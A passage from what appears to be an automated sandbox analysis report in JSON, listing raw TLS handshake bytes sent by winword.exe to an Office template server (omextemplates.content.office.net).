  218. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xff\\x80\\x9e\\xef=\\x9b\\xaa-\\x88\\xc2`\\xf8\"\\x97\\x06\\xd8\\xe2\\x0f<\\xb1\\xf9p\\xd2\\xa0\\x93ae\\xc3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  219. },
  220. {
  221. "http_request": "winword.exe_WSASend_z\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xa7\\x16\\x0e\\xc8y\\xf3$cy\\xdd\\xe4$\\x1a\\xfd\\x85;w&\\xd2 .\\xe77\\xe0j\\xec\\xe9\\xf6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  222. },
  223. {
  224. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xd6\\xef\\xdf\\xf6\\xc0}7\\x1f\\xbc\\x98\\xc6\\xd7\\x82\\xa8\\x88%\\xe6\\xb2\\x0b\\x98u\\x85\\xfa>\\xafjb\\xc5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  225. },
  226. {
  227. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%]!\\x9d~\\xae\\xa1\\x88\\xe9\\xaf8\\xf32f\\x00\\x9e\rd[\\xc7f\\xa1zv}z\\xde\\x0e\\xef\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  228. },
  229. {
  230. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\x9cm:|\\xdaq\\xd5\\xb5g\\x06\\xac\\x8c\\xd4j\\x18m\\xcdg)\\x8d\\x96\\x13s\\xdeg|\n\\x01\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  231. },
  232. {
  233. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xf1\\x0e\\xb4\\\\xdb\\xa8m\\xfbg\\x9a\\x13\\xbe\\xde\\x83\\xd9\\xd01q\\x89nj\\xee\\x10'\\xde?\\xf4\\xf4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  234. },
  235. {
  236. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%y2\\x84q!\\xde41\\x1f\\x88\\x18)\\xb8v\\xa7\\xa6;\\x83h\\x0b\\x82\\xbf-\\xf6|.\\xc5u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  237. },
  238. {
  239. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%f\\xe2\\xbf\\xa3\\xda\\xe1=\\xc1\\xffw\\x02\\xa9\\x94\\xf1z\\xd8\\xc4\\x9a\\x99v\\xdd\\x1a\\x1e\\xf6/j\\x00`\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  240. },
  241. {
  242. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\x04\\x97\\xca\\x82\\xe1\\xf25\\xecr\\x06\\xd8o'\\xe5,\\x8975h\\x9e&\\xa5 dqz\\x1f<\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  243. },
  244. {
  245. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82\\x8f\\xb5m%\\xefnj\\x1bz\\xaa{\\x99fuv\\\\xc2\\x12u$\\xabu\\xb9f\\x1e\\xf2\\xeb\\xe1\\xe9\\xcc\\\\xc6\\xaey\\x17\\xef\\x8a(1\\xae\\xe3\\xfc\\xaa\\xfag\\x0bb\\x18>\\x9bp\\x1e\\x03\\xd7\\x11\\xf3\\xdf\\xc0\\x99\\x93`\\x96z\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba\\xf3\\xfca \\x81\\x86\\x89`y)\\xc4\\x8a\\xc7>mj\\x97\\x04b\\xc4f\\xce\\xb6\\x8a\\xbdh\\xa8\"\\xdbr\\xec\\x13\\xd6\\x95\\xd5\\xe2\\xf4\\xc2\\xbb\\xb9,\"\\x19!rj\\x17"
  246. },
  247. {
  248. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%*\\x8d\\x10\\x0c\\xf1\\xf7\\x0faq\\xc4\\xdel\\xe1\\x80l\\xfb\\xca\\xcd\\x9a\\x93\\xf5\\x965/\\x12\\xf17\\xa2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  249. },
  250. {
  251. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x11\\xbf\\xcc\\xbb\\xf9\\x00\\xad\\x9f\nv\\xf2z\\x14t\\xc6\\xe9\\xe4y\\x7f\\x13e,\\xf9\\x84f;|=\\xc3\\x1ah\\x85\\xc1+\\xa4\\x87\\xdb&^\\xd4\\xfc\\xad\\xfe`\\xc0f`\\xcfm\\xd6\\xf2[\\xb6\\xdb\\xfd-\\xb8\\x12s~\\xfb\\x1b\\xe3\\xf6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1e\\xaa\\x8a;\\xc9\\x1f\\xb8(i\\xe7\\xcfgt4\\xf9\\x7f\r\\xc0l\\x94\\x9d\\xe7u\\xea[\\x13\\x9cj\\x16'\\xac\\xd02[\\xa5cv\\x92\\x0f\\xe4\\x1da\\xa6\\xe1\\xa9\\xfe\\x9c"
  252. },
  253. {
  254. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04|(\\xe2\\xd5a1\\x83\\xf4\\x0f\\x9f\\x87\\xa1\\xfc\\xac\\x80\\x08\\xe3\\x93^\\x8e\\x8a\rl\\x99\\xc2)\\xde\\x14n\\xcc~\\xb4\\xc1\\x90t\\xc4\\xb8\\xd6x\\xf4\\x1d\\xf8\\xdb\\x82,\\xf4\\x84\\x92\\x1f\\x00d|\\x80\\xab\\xea6u0\\xb8\\xf0\\xc1\\x83n\\x82\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a\\xe2\\xbc\\xe5\\xbc\\xf0\\xa6\\xdb\\x1a\\xf0$k\\xc4\\xd0z\\xfaa?3b\\x95[\\xd9|\\x95\\xdch\\xb3\\xc7\\xe2\\xb0\\xf7n+b\\xba\\xa0\\xa8\\x13\\x19+\\xe8\\xc13p7m\\xcb"
  255. },
  256. {
  257. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s\"\\x18u^\\xa9\\xb3\\xfa\"\\x95\\x8e\\xe5\\x8c>\\x1a\\xe1\\xf4\\xb5\\x1ew~\\xbcfm\\xfd\\xfe\\xd0\\xfa\\xcf\\xdee\\xab\\xb7\\xd3 l\\xd77[\\x0b1q\\xfbh\\xf1t\\xfe\\xed:\\xfc\\xf5eujy\\xae\\x18\\xc7\\xf6^\\xeaxj\\xb9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x10u\t\\xff1\\xb6\\xb6\\xd4`\\x85(\\x00\\x94\\xe4\\xbd\\xa0\\xf9\\xc3\\xa1\\xf9q\\xd12jm\\x98\\x0f\\xe7\\xbek\\xc9\\x06\\x12t\\xf1\\xe2\\xe3sm\\xf7qw\\xd5\\xcd \\xa1\\xfc\\x16"
  258. },
  259. {
  260. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98\\x110ap\\xdb\\x88pt:\\x991\\x1c\\xaa\\xeb\\xbbx[\\x07\\x0e\\xedb\\xab\\xf7m\\x8d\\xb8\\xaazl0\\xad\\xbb8\\x11\\xa5n\\x93\\xa9\\x95q\\xe1\\xa2\\xba\\x0f\\xd2\\xa9\\xfa\\x88\\xfb\t\\x8a\\x9c\\x95\\xbb\\xb7h\\xee\\xa7\\xe9e\\xd0\\xfe\"\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x06d\\xf2\\x8c\\x8a\\xf5\\x83,\\xd0*\\x9em)b\\x92\\xb2\\xd9\\xf8\\x04,\\x1f\\xd84\\xc8\\xad\\xe4\\xcf\\xf39\\xbc\\x84\\x14\\xb0\\xac\\xd2v\\x03-\\xdbv]!\\xc2\\x083\\xbe9\\x9b"
  261. },
  262. {
  263. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\xeb\\xfa\\xce\\xb2t\\xcc\\xb9\\x00:jq\\x9a=\\xd2o\\xe6\\x1a1\\xf00\\xab\\xa3\\xb7\\x1d\\xba\\xf5\\xc2\\x7f\\xc1\\x81\\xc5\\xc1\\x04o\\xc4+\\xa9\\xdd(\\x11n\\xa6l\\x00l\\xa5k\\x02\\xfe\\xb9\\x7f\\xa6\\x8dbji\\x99\\xda,v\\x01s\\x1d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3j\\xb57h\\x86\\x9a1>u]\n\\xf3\\xd1\\xe1f\\x96|u\\x9a\\x12a\\xa9\\xd9\\xa9t\\x8e\\x81\\x96\\xde\\xbe\\xd8z\\x1a\\xffl\\xf5\\xb5\\x91\\xcd?\\xf2\\xdc\\xc3\\xec\\xf2\\xab\\x03"
  264. },
  265. {
  266. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04@0\\xcf\\xd0\\x1a\\xaa*@\\xfc\\xdc\\xc6#\\xa7\r\\xa5\\xd3-\\\\xbf\\xb7\\xec\\x0c\\xe9\\x17s\\xe7\\xaa<\\xbc\\xc1\\x8a\\x13hr\\x98;\\xa3x.vla\\xf4~\\x1f\\xed\\x85\\x8f\\x122q9\\xb8r\\xbc\\xf8\\x0e\\xa8\\x9c.\\xc4r0\\xe2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000f\\x9a\\xb2%\\x8e\\xb2\\xf1\\x1a\\xf0\\xa0\\xd6\\xb27\\xc1\\xb0y\\xd0\\x84\\xc5ak\\x18~\\xbe\\xd0\\xfb\\xb3h\\x1e\\xf5\\xdd=\\x1b\\xb6\\x92\\x10\\xbf\\x15 \\xf3\\xbf\\xd5\\xa9ev[\\x85l"
  267. },
  268. {
  269. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8dpl\\x8e\\x0e[\tod\\x0c$gu\\xc0\\xa6o\\xdd\t\\x9d\\xde\\xd1\\x17t\\xea\\xa3\\\\xf1\\xff\\xb9\\c\\x06\\x9c\\xf6\\xaaix\\xd4\\xccm\\xffog\\x83\\xect\\xc5n\\xd1\\xc7\\xd5\\x84\\x8aej\\xa33~\\xda\\xc2\\xf0\\xee\\xe6 \\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaa\\xbcj\\x99\\xe4\\xccul\\x1b:qa\\xa0\\xf3\\xd1cd\\xe3;\\xe8#\\xa6\\x98c\\xb1\\x1d,n\\x87a\\xb6\\x94ju\\xe7f\\xf5\\x8e\\x0flr\\xc0.\\xd4\"<_\\xea"
  270. },
  271. {
  272. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8b\\x8c\\xae\\xc3>\\xa0\\xf8(^\\xf4+\\x84\\xc7%\\x02*:n\\x04mf\\xc2\\xe75\\xabv\\xc3\\xee]h\\xca\\xb5x\\x7f\\xabxhk\\xe2\\xf0n\\x15\\x07\\xba9\r\\x15\\xf5\\x01\\xf3\\xcd\\xab\\xe4u&'\\xce\\xfd\\xb0\\xc7\\xfe\\xae;\\x98\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfa\\xfdi\\x88\n\\xac\r\\xabfy\\xa0\\xf8\\x0c\\xfba\\xe3\\xf0\\xb8*4\\xa7v\\xb27\\xe5\\xcbvx\\x18bump\\x9f\\xa1\\x0f%\\x8e\\x1a\\xb7\\xc5\\x84cx\\x94\\xa0\\x11\\xd7"
  273. },
  274. {
  275. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m?\\xe5o\\xa2\\xbe\\xe1uh\\xb1\\xb0\\xf9\\x07\\x0f\\xf6\\xfegp\\x98\\xf6\\xdd ovs\\\\xb7\\x9c\\x13\\xc2\\xb6\\x9b\\xc6\\x05\\xa4)\\x92\\x076\\x00\\x1a\\xcc6\\x0b\\xf2\\xe6\\x86\\xb9\\xc2\\xf8j\\xdez\\xd1w\\xa9w\\x84\\xcb\\x0b\\x11\\xd5e\\xbe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1f\\xd0z\\xd3\\xfb\\xfe\\xba\\x17\\xcf\\xc8\\x1e\\xfas\\x9ec\\x8e|sch\\xb0w\\xd5\\xdc\\xbb\\xec\\xb8,\\xa9\\xcbhgx\\x06\\xde6f\\xc5\\x88\\xcbvn\\x8b*\\x9f\\x8ae2"
  276. },
  277. {
  278. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc8\\x06\\x84\\xc0\\x87@\\xc9\\x8f\\xe6\\x87\\xba}-r\\xbd\\x1d\\x8c\\x17\\x809\\x01\\xd25\\x13n\\xcbw\\xff\\xaf7z\\x0e\\x80\\xf5j\\x9a\\xf6o\\x8d\\xdfh\\xcf\\xf8;\\xa7\\xd2\\xc2\\x0c\\xe23\r^;\\xd6!\\xe7\\xc1\\xa3sc\\x98l\\x97d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbb\\xe4&\\x9dsm\\x84!\\x00\\xad\\xfe+\\x9e\\x9f\\xa4\\xdaxq\\x13\\xef`\\xb1\\xe7\\x1d\\xace\\xc8\\x13\\x9d)\\xdb\\xc6oq\\x9f\\xad\\xcb\\x85\\xfa\\x80-\\x06p\\xb8\\x11q(v"
  279. },
  280. {
  281. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04ap\\x0c\\xd8\\xf6\\xea<\\xdat\\xfa\\x0e\\xa1\\x1bhc\\xb9n\\xff\\x1a\\x90\\xb2\\x82\\xf2\\xad\\x81\\xdb\\x7f\\x1e\\xac\\x92\\xe4p\\x07\\xa4_\\xbb\\xc02\\x7f\\xab\\xf6(2\\xa1\\x93~\\xb8.\\xea9\\x17q\\xe6k\\xb7^\\xa9\\x0b\\x7fm\\x99} \\xf9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\n}d\\xea\\xf4\\x95\\xca\\xc3v\\xbb\\xac\\x08q\\x00\"\\xf8o\\xf5\\xb8\\xc4\\xbd\\xf6\\xb8\\x8c\\x00\\xf8\\xb9s.\\x19u(1a\\xb8;\\xfc\\x9f3\\xbbq\\x8d=\\xd5*\\xddd\\xb9"
  282. },
  283. {
  284. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\r\\xa6\\x89p\\xd9+f\\x8do\\xc6\\xc0\\xed\\x18\"\\x8d\\xad4s\\x98\\xace\\x17\\xf9`\\xf2w\\xdc\\xcb\\x1bg\\xe0\\x15\\xf7\\x9a\\xbd{,q\\xd4\\xdd\\xc3=\\x06\\xbf\\x9e\\xc0\\xf0\\xc5 \\xed\\xb0\\xb5\\xad\\x9b,\\xa8\\x03\\x00\\x02\\x93`\\xe5`\\x19\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000g\\xb3q\\xa3\\xde&\\xab\\xaf\\x85-\\xca:\\x01\\xd6\\xbds\\xa2\\x15\\xd4ax\\x8d\\xd9\\xf5e\\x80\\x98c\"y\\xbf\\xe6o\\xa45\\xdb\\xf6\\xf3\\xd2]\n$\\x18\\xbd\\x9d\\xa9/e"
  285. },
  286. {
  287. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdce`\\xbap\\x04\\x89\\xad{\\xc0\\x98\\xbc2\\x95@\\xa0\\xec3z\\x9d\\xd2g\\x87\t\\x18(\\x13\\xce\\xc9\\xd8\\xdbh\\xe8\\xb7\\xa0\\xd2d\\xc0\\x99\\xab\\xac\\xeapc\\xa9\"\\x1a\\x86f\\xf8\\xb8w\\xc8uqf\\xb4\\x95c\\xc6\\x1f\\xcf0\\xc2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbe\\xdc\\x8cmq\\xab\\x00\\x84\\xbb!$\\xae\\xa5\\x0cw?\\x96\\x12j\\xd5\\xf5\\xd2\\xd6\\xba\\xf1\\x08\\xbe\\x07\"\\xaf\\x98\\xd1\\xac\\xc1]\\xe1\\xd7\\x82es\\x0fv\\xdf\\x9b\\x0cw}\\x8c"
  288. },
  289. {
  290. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe4*\\xb7\\x93q\\xdf\\x13\\xa0\\x8c\\x13rh\\x89\\xdfw\\xbde\\x1c\\x04qq\\xa3\\x82\\x84\\x96@\\x06x-\\x7f\\xf5}8m\\x9apj\\xd2|\\x82\\xdb\\xf2\\x01w\\x12\\xf4\\x8aa\\xbdr\\x0cob\\xb6\\x9b\\xc48\\xaf\\x82q\\x9b\\xe6\\xac\\xc0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb9og*+\\x95@2\\x03\\xe8\\xac\\xfa#\\xaa\\xc9\\xa7\\x1e\\xaa0\\xb9\\x8e\\xba]6\\xf2.e\\xfc \\x92\\x0c\\xc5\\xf1,54\\x91d\\xa0\\xda\\xb1\\x01a-\\xf6\\xc1b\\x01"
  291. },
  292. {
  293. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xb5\\xed\\xb6\\xd8t\\xd1h\\xf6\\xbc\\xdcu\\x95^\\x17>~\\x99{\\xdf\\x82\\xa3%m\\xba\\xcc\\x7f\\x14\\x80\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  294. },
  295. {
  296. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%c\n\\x81\\xe7\\xf6\\x078vax\\xa8\\xb5\\x1f\\xe5\\x93\n \\xfb\\xfa\\x14\\xb2\\xad\\x91\\xd8!]\\xf7x\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  297. },
  298. {
  299. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%[\\x92\\xa4\\xf4\\xdc\\xd5\\xb8\\xb5`p/\\xf1i2\\xf4p\\xc8\\x80\\x99t\\x9d\\xaa\\xf2s\\xac\\xf3\\xc9(\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  300. },
  301. {
  302. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%ae\\x9e;\\x02o5\\x8ct\\x05\\xf6^q\\xc2d\\xec\\xcb<\\xfb\\xe8\\xf6\\x14\\xc2\\x0e\\xe1\\xff\\x8d\n\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  303. },
  304. {
  305. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xb6\\xeb\\xaf2\\xf6\\x84q\\xb1+\\xb2\\x12\\x8e\\x10\\x1b\\xab\\xf7?\\xdb5\\xa3\\x13\\x7f\\xcf\\x15\tfu\\x0e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  306. },
  307. {
  308. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04cfp\\xce[;q#\\xf9\\x8b\\xbc\\x7f\\x85\\x93\\xd6\\xea\\xf2\\xde\\xae\\x9c\\xff1\\x81\\xd4\\x8e{\\xbf\\xf4,\\xb4\\xee\\xa8\\xdfg@\\xc0\\xbf\\xd7cn\\xf4]:w\\x9a\\xe9\\o\\x8f\\xe1[\\x1dx\\x8f\\xe7\\xc6\\xd2\\xf6\\x16\\xa0z\\x14\\x04_\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf0b\\xb1\\xeex\\x9c\\x08\\xfb:?i&.hq\\xd7\\xb3c\\xdc'mqb\\x194\\xf7\\xea!s\\xbb\\xd5\\xf6\\xa5\\xe9\\xf2\\xc0u,\\x06\\x89\\xac\\x1d(\\x00\\xc9\\xe3\\x0b\\xa8"
  309. },
  310. {
  311. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdca\\xad\\xb5\\x840\\x00`\\xade\\x99\\x99\\\\x85\\xd3\\x98\\xc4y\\xacq\\x8c\\xab\n?<b\\x1d\\x1a\\xf9\\xf6\\x95c\\x1ctk\\xfd\\xa3\\xdc\\xab\\xbb\\x12\\xdc\\xc2\\x8d\\xa3\\x15\\xd0l:7\\x8d;l\\xbb9\\x94-\\xad\\xd1\\x06\\x9ch\\x8bm\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x81\\x17v\\x14\\x05\\xe7y\\xea\\x94\\x12x\\xf2p\\xcb\\x0bq\\x7f1\\x9d\\xe0ws\\xd1\\x130_\\xd2\\xb3#r\\xac\\xaby\\x08\\xa5yb\\xe4o^\\xc4\\x1a\\x99\\x8a\\x84\\xb2\\xb3\\x83"
  312. },
  313. {
  314. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xb8\\x97z\\x06\\xa8\\x94\\x8b\\xf7\\x84|md\\xc2\\xae\\xef\\xd7\\x14\\x03\\x14\\x01{nb\\xcf\\xb5$\\xb42\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  315. },
  316. {
